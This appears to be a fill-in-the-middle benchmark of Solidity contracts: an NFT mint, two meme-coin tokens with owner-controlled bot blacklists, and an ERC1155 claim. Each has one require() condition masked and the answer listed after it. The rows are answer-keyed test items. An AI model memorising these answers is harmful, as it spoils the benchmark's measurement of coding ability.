function setProvenance(bytes32 _proveData) public onlyOwner {
}
function randomSeedIndex() external onlyOwner {
}
}
| totalSupply+_numberOfTokens<=maxSupply,ERR_LIMIT_EXCEED | 127,123 | totalSupply+_numberOfTokens<=maxSupply |
ERR_LIMIT_EXCEED | pragma solidity ^0.8.10;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract HomieFaces is ERC721A, Ownable {
// @dev refer to setProvenance and randomSeedIndex function
event Provenance(uint256 indexed proveType, bytes32 proveData);
string private _baseURIextended;
string private constant ERR_ONLY_EOA = "Only EOA";
string private constant ERR_MINT_END = "Minting ended";
string private constant ERR_MINT_NOT_START = "Not started yet";
string private constant ERR_LIMIT_EXCEED = "Limit exceeded";
string private constant ERR_WRONG_VALUE = "Value not correct";
string private constant ERR_NOT_WHITELIST = "Not whitelisted";
string private constant ERR_ONLY_REDUCE = "Reduce only";
uint256 public constant PUBLIC_MINTING_LIMIT = 20;
uint256 public constant MINTING_PRICE = 0.05 ether;
uint16 public constant MAX_RESERVE = 10;
uint8 public constant WL_LIMIT = 2;
uint8 public constant OG_LIMIT = 3;
uint8 public activeStage = 0;
bytes32 public whitelistMerkleRoot = 0x0;
bytes32 public ogMerkleRoot = 0x0;
uint256 public maxSupply = 4444;
mapping(address => uint8) public ticketRecord;
constructor() ERC721A("HomieFaces", "HOMIEFACESNFT") {}
function setWhitelistMerkleRoot(bytes32 _merkleRoot)
external
onlyOwner
{
}
function setOgMerkleRoot(bytes32 _merkleRoot)
external
onlyOwner
{
}
function setActiveStage(uint8 _stage)
external
onlyOwner
{
}
function reduceMaxSupply(uint256 _maxSupply)
external
onlyOwner
{
}
function whitelistPreSales(uint8 _numberOfTokens, bytes32[] calldata _merkleProof)
external
payable
{
require(msg.sender == tx.origin, ERR_ONLY_EOA);
require(_numberOfTokens <= WL_LIMIT, ERR_LIMIT_EXCEED);
require(activeStage >= 1, ERR_MINT_NOT_START);
uint256 totalSupply = totalSupply();
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
bool proofed = MerkleProof.verify(_merkleProof, whitelistMerkleRoot, leaf);
require(proofed, ERR_NOT_WHITELIST);
require(totalSupply + _numberOfTokens <= maxSupply, ERR_LIMIT_EXCEED);
require(<FILL_ME>)
require(MINTING_PRICE * _numberOfTokens <= msg.value, ERR_WRONG_VALUE);
ticketRecord[msg.sender] += _numberOfTokens;
_safeMint(msg.sender, _numberOfTokens);
}
function ogPreSales(uint8 _numberOfTokens, bytes32[] calldata _merkleProof)
external
payable
{
}
function publicMint(uint _numberOfTokens) public payable {
}
function setBaseURI(string memory baseURI_) external onlyOwner() {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function reserve(uint256 _numberOfTokens) public onlyOwner {
}
function withdraw() public onlyOwner {
}
function setProvenance(bytes32 _proveData) public onlyOwner {
}
function randomSeedIndex() external onlyOwner {
}
}
| ticketRecord[msg.sender]+_numberOfTokens<=WL_LIMIT,ERR_LIMIT_EXCEED | 127,123 | ticketRecord[msg.sender]+_numberOfTokens<=WL_LIMIT |
ERR_WRONG_VALUE | pragma solidity ^0.8.10;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract HomieFaces is ERC721A, Ownable {
// @dev refer to setProvenance and randomSeedIndex function
event Provenance(uint256 indexed proveType, bytes32 proveData);
string private _baseURIextended;
string private constant ERR_ONLY_EOA = "Only EOA";
string private constant ERR_MINT_END = "Minting ended";
string private constant ERR_MINT_NOT_START = "Not started yet";
string private constant ERR_LIMIT_EXCEED = "Limit exceeded";
string private constant ERR_WRONG_VALUE = "Value not correct";
string private constant ERR_NOT_WHITELIST = "Not whitelisted";
string private constant ERR_ONLY_REDUCE = "Reduce only";
uint256 public constant PUBLIC_MINTING_LIMIT = 20;
uint256 public constant MINTING_PRICE = 0.05 ether;
uint16 public constant MAX_RESERVE = 10;
uint8 public constant WL_LIMIT = 2;
uint8 public constant OG_LIMIT = 3;
uint8 public activeStage = 0;
bytes32 public whitelistMerkleRoot = 0x0;
bytes32 public ogMerkleRoot = 0x0;
uint256 public maxSupply = 4444;
mapping(address => uint8) public ticketRecord;
constructor() ERC721A("HomieFaces", "HOMIEFACESNFT") {}
function setWhitelistMerkleRoot(bytes32 _merkleRoot)
external
onlyOwner
{
}
function setOgMerkleRoot(bytes32 _merkleRoot)
external
onlyOwner
{
}
function setActiveStage(uint8 _stage)
external
onlyOwner
{
}
function reduceMaxSupply(uint256 _maxSupply)
external
onlyOwner
{
}
function whitelistPreSales(uint8 _numberOfTokens, bytes32[] calldata _merkleProof)
external
payable
{
require(msg.sender == tx.origin, ERR_ONLY_EOA);
require(_numberOfTokens <= WL_LIMIT, ERR_LIMIT_EXCEED);
require(activeStage >= 1, ERR_MINT_NOT_START);
uint256 totalSupply = totalSupply();
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
bool proofed = MerkleProof.verify(_merkleProof, whitelistMerkleRoot, leaf);
require(proofed, ERR_NOT_WHITELIST);
require(totalSupply + _numberOfTokens <= maxSupply, ERR_LIMIT_EXCEED);
require(ticketRecord[msg.sender] + _numberOfTokens <= WL_LIMIT
, ERR_LIMIT_EXCEED);
require(<FILL_ME>)
ticketRecord[msg.sender] += _numberOfTokens;
_safeMint(msg.sender, _numberOfTokens);
}
function ogPreSales(uint8 _numberOfTokens, bytes32[] calldata _merkleProof)
external
payable
{
}
function publicMint(uint _numberOfTokens) public payable {
}
function setBaseURI(string memory baseURI_) external onlyOwner() {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function reserve(uint256 _numberOfTokens) public onlyOwner {
}
function withdraw() public onlyOwner {
}
function setProvenance(bytes32 _proveData) public onlyOwner {
}
function randomSeedIndex() external onlyOwner {
}
}
| MINTING_PRICE*_numberOfTokens<=msg.value,ERR_WRONG_VALUE | 127,123 | MINTING_PRICE*_numberOfTokens<=msg.value |
ERR_LIMIT_EXCEED | pragma solidity ^0.8.10;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract HomieFaces is ERC721A, Ownable {
// @dev refer to setProvenance and randomSeedIndex function
event Provenance(uint256 indexed proveType, bytes32 proveData);
string private _baseURIextended;
string private constant ERR_ONLY_EOA = "Only EOA";
string private constant ERR_MINT_END = "Minting ended";
string private constant ERR_MINT_NOT_START = "Not started yet";
string private constant ERR_LIMIT_EXCEED = "Limit exceeded";
string private constant ERR_WRONG_VALUE = "Value not correct";
string private constant ERR_NOT_WHITELIST = "Not whitelisted";
string private constant ERR_ONLY_REDUCE = "Reduce only";
uint256 public constant PUBLIC_MINTING_LIMIT = 20;
uint256 public constant MINTING_PRICE = 0.05 ether;
uint16 public constant MAX_RESERVE = 10;
uint8 public constant WL_LIMIT = 2;
uint8 public constant OG_LIMIT = 3;
uint8 public activeStage = 0;
bytes32 public whitelistMerkleRoot = 0x0;
bytes32 public ogMerkleRoot = 0x0;
uint256 public maxSupply = 4444;
mapping(address => uint8) public ticketRecord;
constructor() ERC721A("HomieFaces", "HOMIEFACESNFT") {}
function setWhitelistMerkleRoot(bytes32 _merkleRoot)
external
onlyOwner
{
}
function setOgMerkleRoot(bytes32 _merkleRoot)
external
onlyOwner
{
}
function setActiveStage(uint8 _stage)
external
onlyOwner
{
}
function reduceMaxSupply(uint256 _maxSupply)
external
onlyOwner
{
}
function whitelistPreSales(uint8 _numberOfTokens, bytes32[] calldata _merkleProof)
external
payable
{
}
function ogPreSales(uint8 _numberOfTokens, bytes32[] calldata _merkleProof)
external
payable
{
require(msg.sender == tx.origin, ERR_ONLY_EOA);
require(_numberOfTokens <= OG_LIMIT, ERR_LIMIT_EXCEED);
require(activeStage >= 1, ERR_MINT_NOT_START);
uint256 totalSupply = totalSupply();
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
bool proofed = MerkleProof.verify(_merkleProof, ogMerkleRoot, leaf);
require(proofed, ERR_NOT_WHITELIST);
require(totalSupply + _numberOfTokens <= maxSupply, ERR_LIMIT_EXCEED);
require(<FILL_ME>)
require(MINTING_PRICE * _numberOfTokens <= msg.value, ERR_WRONG_VALUE);
ticketRecord[msg.sender] += _numberOfTokens;
_safeMint(msg.sender, _numberOfTokens);
}
function publicMint(uint _numberOfTokens) public payable {
}
function setBaseURI(string memory baseURI_) external onlyOwner() {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function reserve(uint256 _numberOfTokens) public onlyOwner {
}
function withdraw() public onlyOwner {
}
function setProvenance(bytes32 _proveData) public onlyOwner {
}
function randomSeedIndex() external onlyOwner {
}
}
| ticketRecord[msg.sender]+_numberOfTokens<=OG_LIMIT,ERR_LIMIT_EXCEED | 127,123 | ticketRecord[msg.sender]+_numberOfTokens<=OG_LIMIT |
null | // SPDX-License-Identifier: MIT
/**
Telegram: https://t.me/pepewarriors
Twitter: https://twitter.com/pepewarriorserc
Website: https://pepewarriors.com/
**/
pragma solidity 0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PepeWarriors is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
address payable private _taxWallet;
uint256 private _initialBuyTax=0;
uint256 private _initialSellTax=0;
uint256 private _finalTax=0;
uint256 private _reduceBuyTaxAt=300;
uint256 private _reduceSellTaxAt=300;
uint256 private _preventSwapBefore=60;
uint256 private _buyCount=0;
uint8 private constant _decimals = 8;
uint256 private constant _tTotal = 100000000 * 10**_decimals;
string private constant _name = unicode"PEPE Warriors";
string private constant _symbol = unicode"PEPEWARRIORS";
uint256 public _maxTxAmount = 2000000 * 10**_decimals;
uint256 public _maxWalletSize = 2000000 * 10**_decimals;
uint256 public _taxSwapThreshold=500000 * 10**_decimals;
uint256 public _maxTaxSwap=1500000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function removeLimits() external onlyOwner{
}
function sendETHToFee(uint256 amount) private {
}
function addBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
require(<FILL_ME>)
bots[bots_[i]] = true;
}
}
function delBots(address[] memory notbot) public onlyOwner {
}
function isBot(address a) public view returns (bool){
}
function openTrading(uint256 _tempBuyTax, uint256 _tempSellTax, uint256 _finalFee) external onlyOwner() {
}
function reduceFee(uint256 _newFinalFee, uint256 _newBuyFee, uint256 _newSellFee) external{
}
function returnPairAddress() external view returns (address) {
}
receive() external payable {}
function manualSwap() external {
}
}
| bots_[i]!=uniswapV2Pair&&bots_[i]!=address(uniswapV2Router)&&bots_[i]!=address(this)&&bots_[i]!=_taxWallet | 127,197 | bots_[i]!=uniswapV2Pair&&bots_[i]!=address(uniswapV2Router)&&bots_[i]!=address(this)&&bots_[i]!=_taxWallet |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
contract ShereKhan is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Shere Khan";
string private constant _symbol = "SKAN";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private constant totalTokens = 100 * 1e6 * 1e9;
uint256 public _maxWalletAmount = 200 * 1e4 * 1e9;
uint256 private _previousLiqFee = liqFee;
uint256 private _previousProjectFee = projectTax;
uint256 private liqFee;
uint256 private projectTax;
struct FeeBreakdown {
uint256 tLiquidity;
uint256 tMarketing;
uint256 tAmount;
}
mapping(address => bool) private bots;
address payable private deployW = payable(0xa8be302873d8ed2153c9b80e4d01075624F04e31);
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool private inSwap = false;
modifier lockTheSwap {
}
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() external pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function allowance(address owner, address spender) external view override returns (uint256) {
}
function approve(address spender, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
}
function removeFromBlacklist(address _address) external onlyOwner() {
require(<FILL_ME>)
bots[_address] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
}
function _transferStandard(address sender, address recipient, uint256 amount) private {
}
receive() external payable {}
function blacklistmany(address[] memory bots_) external {
}
function blacklist(address _address) external {
}
function setMaxWalletAmount(uint256 maxWalletAmount) external {
}
}
| _msgSender()==deployW | 127,315 | _msgSender()==deployW |
"Not Eligible" | // SPDX-License-Identifier: MIT
// ...::^^: ^????JJJ?7~. :^:::.
// :?7~^: ...:. :!77???JJJJJY? 75YYYYYYYYYY!..~~~~~^.
// !5555Y! ^!~^^^. ........ :^^~~~~!!!!7! !YYYYYJYYYYYY? 75YYYYY5YYYY5J.:~~~~~~. .^~^:..
// ?YYYYY~ ~Y5555J^ ~~~~~~~~~~^: :777!!!!!!!!7! ~YJJJJJJJJ???^ !5YYYY7~JYYYY57 ^~~~~~^ .~~~~~~~^
// .YYYYY? !YYYYY! .~~~~~~~~~~~~^. :!!!!!!!!!~~~: !YJJJY!.. !5YYYY: :YYYYYY. ^~~~~~^~~~~~~~^.
// ^YYYYY7!YYYYY! :~~~~~^^~~~~~~^ ^7!!!!~. !YJJJJ?!!!. !5YYYY~.7YYYYYJ. ^~~~~~~~~~~~^
// 75YYYYYYYYYYJ. :~~~~~. :~~~~~^ ^7!!!!!~~~. 7YJJJJYYYY! !5YYYYYYYYYY5Y^ ^~~~~~~~~~:
// JYYYYYYYYYYY? ^~~~~~..^~~~~~. ~!!!!!!777^ 7YJJJJJJJ?: !5YYYYYY555Y7: .~~~~~~~~:
// :YYYYYYYYYYYYJ ^~~~~~~~~~~~~. ~!!!!!!!~~. ?YJJJJ^ . 75YYYYY?7!^. ^~~~~~~^
// ~5YYYYY5YYYYYY^ .~~~~~~~~~~~~. !!!!!!. ... ?YJJJJ?7?????~ 75YYY57 :~~~~~~:
// ?YYYYYY7JYYYY57 :~~~~~~~~~~~~: .!!!!!!~~!!!!!:.JJJJJJYYYYYYY! J5YYY57 ^~~~~~~:
// .YYYYYY~ !5YYYYJ. ^~~~~~:^~~~~~~ :7!!!!!!!!!!!7.:YYYYYYYJJJJJJ^ JYYJJJ~ ^~~~~~~^
// ~5YYYY? ~5YYYYY: ~~~~~~..~~~~~~: ~7777!!!!!!!!^ .!!~^^^:::.... .....:::::... .:::^^~:
// 7555557 :55YY55~.~~~~~~. ~~~~~~^ :^^::::... :::::: :^^~~~~: ~!!!!!!!!!~:.
// .~!!!!: ~???77^.^^:::. ... . .^^~!!~ ^~~~~~~. ^~~~~~~^ ~!!!!!!!!!!7!:
// .^~7????!^. .J55555J. .~~~~~~~. ^~~~~~~^ ~!!!!7:^7!!!7!
// :!JYYYYYYYYYJ^.YYYYY5! :~~~~~~~ ^~~~~~~: ~!!!!!~!!!!!!:
// .7JYJJYYYYYYYJ7::YYYYY5~ ^~~~~~~^ ~~~~~~~. ~!!!!!!!!!!!:
// ~JYJJJY?~~7?7^. ^YYYYYY^ ^~~~~~~^ .~~~~~~~ ~!!!!!7!!!!!~.
// !YJJJYJ^ ~5YYYYY: ^~~~~~~^ :~~~~~~: !!!!!!^!!!!!!!
// ~YJJJJJ: 75YYYYJ. ^~~~~~~~..:~~~~~~~ .!!!!!~ :7!!!!7:
// :JJJJJY~ ?YYYY5? :~~~~~~~~~~~~~~~~. ^7!!!7^ ~!!!!!!.
// 7YJJJJJ: :YYYYY57..::^^~: ~~~~~~~~~~~~~~~. !!!!!!!!!!!!!7~
// :YJJJJJY~ :7?7!~: ~5YYYYYYYYYYY55? .~~~~~~~~~~~~: :7!!!!!!!!!!!!~
// ^YJJJJJJJ?7?JYYYYY~ JYYYYYYYYYYYYY5~ .:^~~~~~^^:. ^!!!!!!77!!!~:
// .JYJJJJJJYYYJYYJ7^ ~5555555YYYYJJJ7. ..... ....:::::..
// ^?YYYYYYYYYJ?!: 7?77!~~^^::..
// .^!77?7!~^.
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
pragma solidity 0.8.9;
pragma abicoder v2;
contract KreepyClaim is ERC1155, Ownable {
bool public claimIsActive = false;
bytes32 public claimRoot; // Merkle Root for Claim
uint256 public currentClaim = 0;
// Claim Tracking
mapping(address => uint256) claimedToken;
string public _baseURI = "";
constructor() ERC1155(_baseURI) { }
function setBaseURI(string memory newuri) public onlyOwner {
}
function uri(uint256 tokenId) public view override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view returns (string memory) {
}
function uint2str(uint256 _i) internal pure returns (string memory _uintAsString) {
}
function flipClaimState() public onlyOwner {
}
function setCurrentClaim(uint256 newClaim) public onlyOwner {
}
function setClaimRoot(bytes32 root) external onlyOwner {
}
// Utility
function hasClaimed(address _address) external view returns (uint) {
}
// Minting
function kreepyClaimMint(bytes32[] calldata proof) external {
require(claimIsActive, "Claim window is not active");
require(<FILL_ME>)
require(claimedToken[msg.sender] < currentClaim, "You have already claimed this piece");
_mint(msg.sender, currentClaim, 1, "0x0000");
claimedToken[msg.sender] = currentClaim;
}
}
| MerkleProof.verify(proof,claimRoot,keccak256(abi.encodePacked(_msgSender()))),"Not Eligible" | 127,374 | MerkleProof.verify(proof,claimRoot,keccak256(abi.encodePacked(_msgSender()))) |
"You have already claimed this piece" | // SPDX-License-Identifier: MIT
// ...::^^: ^????JJJ?7~. :^:::.
// :?7~^: ...:. :!77???JJJJJY? 75YYYYYYYYYY!..~~~~~^.
// !5555Y! ^!~^^^. ........ :^^~~~~!!!!7! !YYYYYJYYYYYY? 75YYYYY5YYYY5J.:~~~~~~. .^~^:..
// ?YYYYY~ ~Y5555J^ ~~~~~~~~~~^: :777!!!!!!!!7! ~YJJJJJJJJ???^ !5YYYY7~JYYYY57 ^~~~~~^ .~~~~~~~^
// .YYYYY? !YYYYY! .~~~~~~~~~~~~^. :!!!!!!!!!~~~: !YJJJY!.. !5YYYY: :YYYYYY. ^~~~~~^~~~~~~~^.
// ^YYYYY7!YYYYY! :~~~~~^^~~~~~~^ ^7!!!!~. !YJJJJ?!!!. !5YYYY~.7YYYYYJ. ^~~~~~~~~~~~^
// 75YYYYYYYYYYJ. :~~~~~. :~~~~~^ ^7!!!!!~~~. 7YJJJJYYYY! !5YYYYYYYYYY5Y^ ^~~~~~~~~~:
// JYYYYYYYYYYY? ^~~~~~..^~~~~~. ~!!!!!!777^ 7YJJJJJJJ?: !5YYYYYY555Y7: .~~~~~~~~:
// :YYYYYYYYYYYYJ ^~~~~~~~~~~~~. ~!!!!!!!~~. ?YJJJJ^ . 75YYYYY?7!^. ^~~~~~~^
// ~5YYYYY5YYYYYY^ .~~~~~~~~~~~~. !!!!!!. ... ?YJJJJ?7?????~ 75YYY57 :~~~~~~:
// ?YYYYYY7JYYYY57 :~~~~~~~~~~~~: .!!!!!!~~!!!!!:.JJJJJJYYYYYYY! J5YYY57 ^~~~~~~:
// .YYYYYY~ !5YYYYJ. ^~~~~~:^~~~~~~ :7!!!!!!!!!!!7.:YYYYYYYJJJJJJ^ JYYJJJ~ ^~~~~~~^
// ~5YYYY? ~5YYYYY: ~~~~~~..~~~~~~: ~7777!!!!!!!!^ .!!~^^^:::.... .....:::::... .:::^^~:
// 7555557 :55YY55~.~~~~~~. ~~~~~~^ :^^::::... :::::: :^^~~~~: ~!!!!!!!!!~:.
// .~!!!!: ~???77^.^^:::. ... . .^^~!!~ ^~~~~~~. ^~~~~~~^ ~!!!!!!!!!!7!:
// .^~7????!^. .J55555J. .~~~~~~~. ^~~~~~~^ ~!!!!7:^7!!!7!
// :!JYYYYYYYYYJ^.YYYYY5! :~~~~~~~ ^~~~~~~: ~!!!!!~!!!!!!:
// .7JYJJYYYYYYYJ7::YYYYY5~ ^~~~~~~^ ~~~~~~~. ~!!!!!!!!!!!:
// ~JYJJJY?~~7?7^. ^YYYYYY^ ^~~~~~~^ .~~~~~~~ ~!!!!!7!!!!!~.
// !YJJJYJ^ ~5YYYYY: ^~~~~~~^ :~~~~~~: !!!!!!^!!!!!!!
// ~YJJJJJ: 75YYYYJ. ^~~~~~~~..:~~~~~~~ .!!!!!~ :7!!!!7:
// :JJJJJY~ ?YYYY5? :~~~~~~~~~~~~~~~~. ^7!!!7^ ~!!!!!!.
// 7YJJJJJ: :YYYYY57..::^^~: ~~~~~~~~~~~~~~~. !!!!!!!!!!!!!7~
// :YJJJJJY~ :7?7!~: ~5YYYYYYYYYYY55? .~~~~~~~~~~~~: :7!!!!!!!!!!!!~
// ^YJJJJJJJ?7?JYYYYY~ JYYYYYYYYYYYYY5~ .:^~~~~~^^:. ^!!!!!!77!!!~:
// .JYJJJJJJYYYJYYJ7^ ~5555555YYYYJJJ7. ..... ....:::::..
// ^?YYYYYYYYYJ?!: 7?77!~~^^::..
// .^!77?7!~^.
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
pragma solidity 0.8.9;
pragma abicoder v2;
contract KreepyClaim is ERC1155, Ownable {
bool public claimIsActive = false;
bytes32 public claimRoot; // Merkle Root for Claim
uint256 public currentClaim = 0;
// Claim Tracking
mapping(address => uint256) claimedToken;
string public _baseURI = "";
constructor() ERC1155(_baseURI) { }
function setBaseURI(string memory newuri) public onlyOwner {
}
function uri(uint256 tokenId) public view override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view returns (string memory) {
}
function uint2str(uint256 _i) internal pure returns (string memory _uintAsString) {
}
function flipClaimState() public onlyOwner {
}
function setCurrentClaim(uint256 newClaim) public onlyOwner {
}
function setClaimRoot(bytes32 root) external onlyOwner {
}
// Utility
function hasClaimed(address _address) external view returns (uint) {
}
// Minting
function kreepyClaimMint(bytes32[] calldata proof) external {
require(claimIsActive, "Claim window is not active");
require(MerkleProof.verify(proof, claimRoot, keccak256(abi.encodePacked(_msgSender()))), "Not Eligible");
require(<FILL_ME>)
_mint(msg.sender, currentClaim, 1, "0x0000");
claimedToken[msg.sender] = currentClaim;
}
}
